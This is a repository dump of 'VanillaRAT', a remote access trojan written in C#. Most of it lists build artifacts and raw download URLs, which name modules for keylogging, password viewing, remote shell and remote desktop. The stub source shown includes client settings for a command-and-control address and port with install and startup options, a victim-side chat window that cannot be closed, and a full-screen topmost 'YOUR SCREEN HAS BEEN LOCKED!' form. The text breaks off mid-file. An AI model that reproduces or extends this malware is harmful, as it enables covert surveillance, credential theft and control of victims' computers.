/VanillaRat/obj/Debug/Costura/C2E4B19CB9A0B48E899512CD121FFE6657D41072.costura.system.text.regularexpressions.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/C2E4B19CB9A0B48E899512CD121FFE6657D41072.costura.system.text.regularexpressions.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/C3848473E42E2F9B4D0A00180EA9ADE654432587.costura.system.diagnostics.textwritertracelistener.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/C3848473E42E2F9B4D0A00180EA9ADE654432587.costura.system.diagnostics.textwritertracelistener.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/C53132EC95A7211C1BB6DCD5AD21CCB150A7B923.costura.system.threading.thread.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/C53132EC95A7211C1BB6DCD5AD21CCB150A7B923.costura.system.threading.thread.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/D707745E72D2F39374F2D28AF52AAAB7888B93AB.costura.system.drawing.primitives.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/D707745E72D2F39374F2D28AF52AAAB7888B93AB.costura.system.drawing.primitives.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/D9DF77B4993418337894FF04C6B813224B9F8543.costura.system.io.memorymappedfiles.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/D9DF77B4993418337894FF04C6B813224B9F8543.costura.system.io.memorymappedfiles.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/DDDA49572D112944EC9AB62B31959AA93A386618.costura.system.threading.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/DDDA49572D112944EC9AB62B31959AA93A386618.costura.system.threading.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/DFAD52A9990B2FAFCE7098CEBB174927E8E0BA00.costura.system.xml.xdocument.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/DFAD52A9990B2FAFCE7098CEBB174927E8E0BA00.costura.system.xml.xdocument.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/E0FAD5EF75676B2ED7CF155AF6602B867FCED041.costura.system.net.websockets.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/E0FAD5EF75676B2ED7CF155AF6602B867FCED041.costura.system.net.websockets.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/EB8C010A35B461402C1C33133F1B61C78BE8425A.costura.system.diagnostics.debug.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/EB8C010A35B461402C1C33133F1B61C78BE8425A.costura.system.diagnostics.debug.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/ED23E654968B3704A82F613B06BE5829E0CAAD70.costura.system.security.cryptography.encoding.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/ED23E654968B3704A82F613B06BE5829E0CAAD70.costura.system.security.cryptography.encoding.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/ED25E94D4E88293345A0F28A5B975159C393B050.costura.system.xml.xpath.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/ED25E94D4E88293345A0F28A5B975159C393B050.costura.system.xml.xpath.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/EE1AE416570911282ABDD3745674E58F9D469C9E.costura.system.runtime.serialization.json.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/EE1AE416570911282ABDD3745674E58F9D469C9E.costura.system.runtime.serialization.json.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/EF317CACC230A58A3B2FCC6CC079CC763AFCC7C5.costura.system.xml.readerwriter.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/EF317CACC230A58A3B2FCC6CC079CC763AFCC7C5.costura.system.xml.readerwriter.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/EF6B3CCFF90BEDDAB5CE6F60B4CC23F75EDFD009.costura.system.diagnostics.stacktrace.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/EF6B3CCFF90BEDDAB5CE6F60B4CC23F75EDFD009.costura.system.diagnostics.stacktrace.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/F3BD9B4108ACD42ABFB99A3A4760BFFCB84F6C28.costura.system.reflection.extensions.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/F3BD9B4108ACD42ABFB99A3A4760BFFCB84F6C28.costura.system.reflection.extensions.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/F434AF8CE30EAF5511E28C0230211F0D8ED4A154.costura.system.runtime.serialization.xml.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/F434AF8CE30EAF5511E28C0230211F0D8ED4A154.costura.system.runtime.serialization.xml.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/F720109A38846E358BDE7C47D9C946A79D2B6B1C.costura.system.threading.tasks.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/F720109A38846E358BDE7C47D9C946A79D2B6B1C.costura.system.threading.tasks.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/F874903CEA9F08F1A0887949B47722E6BA81B789.costura.system.threading.threadpool.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/F874903CEA9F08F1A0887949B47722E6BA81B789.costura.system.threading.threadpool.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/FCA2F72C039937357099CA6E167330E540F8335D.costura.system.io.filesystem.primitives.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/FCA2F72C039937357099CA6E167330E540F8335D.costura.system.io.filesystem.primitives.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/FD622ADE5CAE26353A22B6FA50A83669B72B6C41.costura.system.runtime.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/FD622ADE5CAE26353A22B6FA50A83669B72B6C41.costura.system.runtime.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/FF6E6BCD83A11D40BF53DABD0480A67AECFDCF50.costura.system.security.securestring.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/FF6E6BCD83A11D40BF53DABD0480A67AECFDCF50.costura.system.security.securestring.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/DesignTimeResolveAssemblyReferences.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/DesignTimeResolveAssemblyReferences.cache -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/TempPE/Properties.Resources.Designer.cs.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/TempPE/Properties.Resources.Designer.cs.dll -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/VanillaRat.Forms.AudioRecorder.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/VanillaRat.Forms.AudioRecorder.resources -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/VanillaRat.Forms.BuilderForm.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/VanillaRat.Forms.BuilderForm.resources -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/VanillaRat.Forms.Chat.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/VanillaRat.Forms.Chat.resources -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/VanillaRat.Forms.ClientRunningApps.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/VanillaRat.Forms.ClientRunningApps.resources -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/VanillaRat.Forms.ClipboardTextViewer.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/VanillaRat.Forms.ClipboardTextViewer.resources -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/VanillaRat.Forms.ComputerInformation.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/VanillaRat.Forms.ComputerInformation.resources -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/VanillaRat.Forms.FileExplorer.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/VanillaRat.Forms.FileExplorer.resources -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/VanillaRat.Forms.HardwareUsageViewer.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/VanillaRat.Forms.HardwareUsageViewer.resources -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/VanillaRat.Forms.Keylogger.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/VanillaRat.Forms.Keylogger.resources -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/VanillaRat.Forms.NotificationBox.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/VanillaRat.Forms.NotificationBox.resources -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/VanillaRat.Forms.OpenWebsite.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/VanillaRat.Forms.OpenWebsite.resources -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/VanillaRat.Forms.PasswordViewer.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/VanillaRat.Forms.PasswordViewer.resources -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/VanillaRat.Forms.RDC.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/VanillaRat.Forms.RDC.resources -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/VanillaRat.Forms.RemoteDesktopViewer.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/VanillaRat.Forms.RemoteDesktopViewer.resources -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/VanillaRat.Forms.RemoteShell.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/VanillaRat.Forms.RemoteShell.resources -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/VanillaRat.Forms.SettingsForm.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/VanillaRat.Forms.SettingsForm.resources -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/VanillaRat.Main.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/VanillaRat.Main.resources -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/VanillaRat.Properties.Resources.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/VanillaRat.Properties.Resources.resources -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/VanillaRat.csproj.CopyComplete: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/VanillaRat.csproj.CopyComplete -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/VanillaRat.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | 4d83e1d47cf1607eced351a63e1393cf4745deca 2 | -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/VanillaRat.csproj.Fody.CopyLocal.cache: -------------------------------------------------------------------------------- 1 | C:\Users\dhuin\Desktop\Projects\C#\VanillaRat\packages\dnlib.3.1.0\lib\net461\dnlib.xml 2 | -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/VanillaRat.csproj.GenerateResource.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/VanillaRat.csproj.GenerateResource.cache -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/VanillaRat.csprojAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/VanillaRat.csprojAssemblyReference.cache -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/VanillaRat.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/VanillaRat.exe -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/VanillaRat.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/VanillaRat.pdb -------------------------------------------------------------------------------- /VanillaRat/obj/x64/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/x64/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /VanillaRat/obj/x64/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/x64/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs -------------------------------------------------------------------------------- /VanillaRat/obj/x64/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/x64/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs -------------------------------------------------------------------------------- /VanillaRat/obj/x64/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/x64/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs -------------------------------------------------------------------------------- /VanillaRat/obj/x64/Debug/VanillaRat.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | 95d6936520a257c53b99ed30945c8612db5a962d 2 | -------------------------------------------------------------------------------- /VanillaRat/obj/x64/Release/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/x64/Release/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /VanillaRat/obj/x64/Release/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/x64/Release/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs -------------------------------------------------------------------------------- /VanillaRat/obj/x64/Release/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/x64/Release/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs -------------------------------------------------------------------------------- /VanillaRat/obj/x64/Release/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/x64/Release/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs -------------------------------------------------------------------------------- /VanillaRat/obj/x64/Release/VanillaRat.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | 8020f495e8aae5ef658f0759fbfcba668668f1ed 2 | -------------------------------------------------------------------------------- /VanillaRat/packages.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /VanillaRatDemo.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRatDemo.gif -------------------------------------------------------------------------------- /VanillaStub/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /VanillaStub/ClientSettings.cs: -------------------------------------------------------------------------------- 1 | namespace VanillaRatStub 2 | { 3 | public static class ClientSettings 4 | { 5 | public static string DNS = "127.0.0.1"; 6 | public static string Port = "1604"; 7 | public static string ClientTag = "Tag"; 8 | public static string UpdateInterval = "1"; 9 | public static string Install = "False"; 10 | public static string Startup = "False"; 11 | } 12 | } -------------------------------------------------------------------------------- /VanillaStub/Forms/Chat.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | using System.Windows.Forms; 5 | using VanillaStub.Helpers; 6 | using VanillaStub.Helpers.Networking; 7 | 8 | namespace VanillaStub.Forms 9 | { 10 | public partial class Chat : Form 11 | { 12 | public Chat() 13 | { 14 | InitializeComponent(); 15 | } 16 | 17 | //Prevent form closing 18 | private void OnClosing(object sender, FormClosingEventArgs e) 19 | { 20 | if (e.CloseReason == CloseReason.UserClosing) 21 | e.Cancel = true; 22 | } 23 | 24 | //Send message by button 25 | private void btnSend_Click(object sender, EventArgs e) 26 | { 27 | if (string.IsNullOrWhiteSpace(txtChat.Text)) 28 | txtChat.Text = "You: " + txtSend.Text; 29 | else 30 | txtChat.AppendText(Environment.NewLine + "You: " + txtSend.Text); 31 | List ToSend = new List(); 32 | ToSend.Add((int) DataType.MessageType); 33 | ToSend.AddRange(Encoding.ASCII.GetBytes(txtSend.Text)); 34 | Networking.MainClient.Send(ToSend.ToArray()); 35 | txtSend.Text = ""; 36 | } 37 | 38 | //If enter key is pressed, send message 39 | private void KeyDown(object sender, KeyEventArgs e) 40 | { 41 | if (e.KeyCode == Keys.Enter) 42 | { 43 | if (string.IsNullOrWhiteSpace(txtChat.Text)) 44 | txtChat.Text = "You: " + txtSend.Text; 45 | else 46 | txtChat.AppendText(Environment.NewLine + "You: " + txtSend.Text); 47 | List ToSend = new List(); 48 | ToSend.Add((int) DataType.MessageType); 49 | ToSend.AddRange(Encoding.ASCII.GetBytes(txtSend.Text)); 50 | Networking.MainClient.Send(ToSend.ToArray()); 51 | txtSend.Text = ""; 52 | } 53 | } 54 | 55 | //Tell server client is connected if visible 56 | private void OnVisibleChange(object sender, EventArgs e) 57 | { 58 | if (Visible) 59 | { 60 | List ToSend = new List(); 61 | ToSend.Add((int) DataType.MessageType); 62 | ToSend.AddRange(Encoding.ASCII.GetBytes("Connected to chat")); 63 | Networking.MainClient.Send(ToSend.ToArray()); 64 | } 65 | } 66 | } 67 | } -------------------------------------------------------------------------------- /VanillaStub/Forms/IScreenLocker.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Windows.Forms; 3 | 4 | namespace VanillaStub 5 | { 6 | public class IScreenLocker : Form 7 | { 8 | //Override form load to place center 9 | protected override void OnLoad(EventArgs e) 10 | { 11 | FormBorderStyle = FormBorderStyle.None; 12 | WindowState = FormWindowState.Maximized; 13 | TopMost = true; 14 | base.OnLoad(e); 15 | } 16 | } 17 | } -------------------------------------------------------------------------------- /VanillaStub/Forms/InitialForm.Designer.cs: -------------------------------------------------------------------------------- 1 | namespace VanillaStub.Forms 2 | { 3 | partial class InitialForm 4 | { 5 | /// 6 | /// Required designer variable. 7 | /// 8 | private System.ComponentModel.IContainer components = null; 9 | 10 | /// 11 | /// Clean up any resources being used. 12 | /// 13 | /// true if managed resources should be disposed; otherwise, false. 14 | protected override void Dispose(bool disposing) 15 | { 16 | if (disposing && (components != null)) 17 | { 18 | components.Dispose(); 19 | } 20 | base.Dispose(disposing); 21 | } 22 | 23 | #region Windows Form Designer generated code 24 | 25 | /// 26 | /// Required method for Designer support - do not modify 27 | /// the contents of this method with the code editor. 28 | /// 29 | private void InitializeComponent() 30 | { 31 | this.SuspendLayout(); 32 | // 33 | // InitialForm 34 | // 35 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); 36 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 37 | this.ClientSize = new System.Drawing.Size(120, 0); 38 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle; 39 | this.MaximizeBox = false; 40 | this.MinimizeBox = false; 41 | this.Name = "InitialForm"; 42 | this.Opacity = 0D; 43 | this.ShowIcon = false; 44 | this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.OnClosing); 45 | this.Load += new System.EventHandler(this.OnLoad); 46 | this.Shown += new System.EventHandler(this.OnShow); 47 | this.ResumeLayout(false); 48 | 49 | } 50 | 51 | #endregion 52 | } 53 | } -------------------------------------------------------------------------------- /VanillaStub/Forms/ScreenLock.Designer.cs: -------------------------------------------------------------------------------- 1 | namespace VanillaStub.Forms 2 | { 3 | partial class ScreenLock 4 | { 5 | /// 6 | /// Required designer variable. 7 | /// 8 | private System.ComponentModel.IContainer components = null; 9 | 10 | /// 11 | /// Clean up any resources being used. 12 | /// 13 | /// true if managed resources should be disposed; otherwise, false. 14 | protected override void Dispose(bool disposing) 15 | { 16 | if (disposing && (components != null)) 17 | { 18 | components.Dispose(); 19 | } 20 | base.Dispose(disposing); 21 | } 22 | 23 | #region Windows Form Designer generated code 24 | 25 | /// 26 | /// Required method for Designer support - do not modify 27 | /// the contents of this method with the code editor. 28 | /// 29 | private void InitializeComponent() 30 | { 31 | this.lblTitle = new System.Windows.Forms.Label(); 32 | this.SuspendLayout(); 33 | // 34 | // lblTitle 35 | // 36 | this.lblTitle.Anchor = System.Windows.Forms.AnchorStyles.None; 37 | this.lblTitle.AutoSize = true; 38 | this.lblTitle.Font = new System.Drawing.Font("Trebuchet MS", 26.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); 39 | this.lblTitle.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(223)))), ((int)(((byte)(230)))), ((int)(((byte)(233))))); 40 | this.lblTitle.Location = new System.Drawing.Point(117, 150); 41 | this.lblTitle.Name = "lblTitle"; 42 | this.lblTitle.Size = new System.Drawing.Size(567, 43); 43 | this.lblTitle.TabIndex = 0; 44 | this.lblTitle.Text = "YOUR SCREEN HAS BEEN LOCKED!"; 45 | // 46 | // ScreenLock 47 | // 48 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); 49 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 50 | this.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(45)))), ((int)(((byte)(52)))), ((int)(((byte)(54))))); 51 | this.ClientSize = new System.Drawing.Size(800, 450); 52 | this.Controls.Add(this.lblTitle); 53 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None; 54 | this.MaximizeBox = false; 55 | this.MinimizeBox = false; 56 | this.Name = "ScreenLock"; 57 | this.ShowIcon = false; 58 | this.ShowInTaskbar = false; 59 | this.TopMost = true; 60 | this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.OnClose); 61 | this.ResumeLayout(false); 62 | this.PerformLayout(); 63 | 64 | } 65 | 66 | #endregion 67 | 68 | private System.Windows.Forms.Label lblTitle; 69 | } 70 | } -------------------------------------------------------------------------------- /VanillaStub/Forms/ScreenLock.cs: -------------------------------------------------------------------------------- 1 | using System.Windows.Forms; 2 | 3 | namespace VanillaStub.Forms 4 | { 5 | public partial class ScreenLock : IScreenLocker 6 | { 7 | public 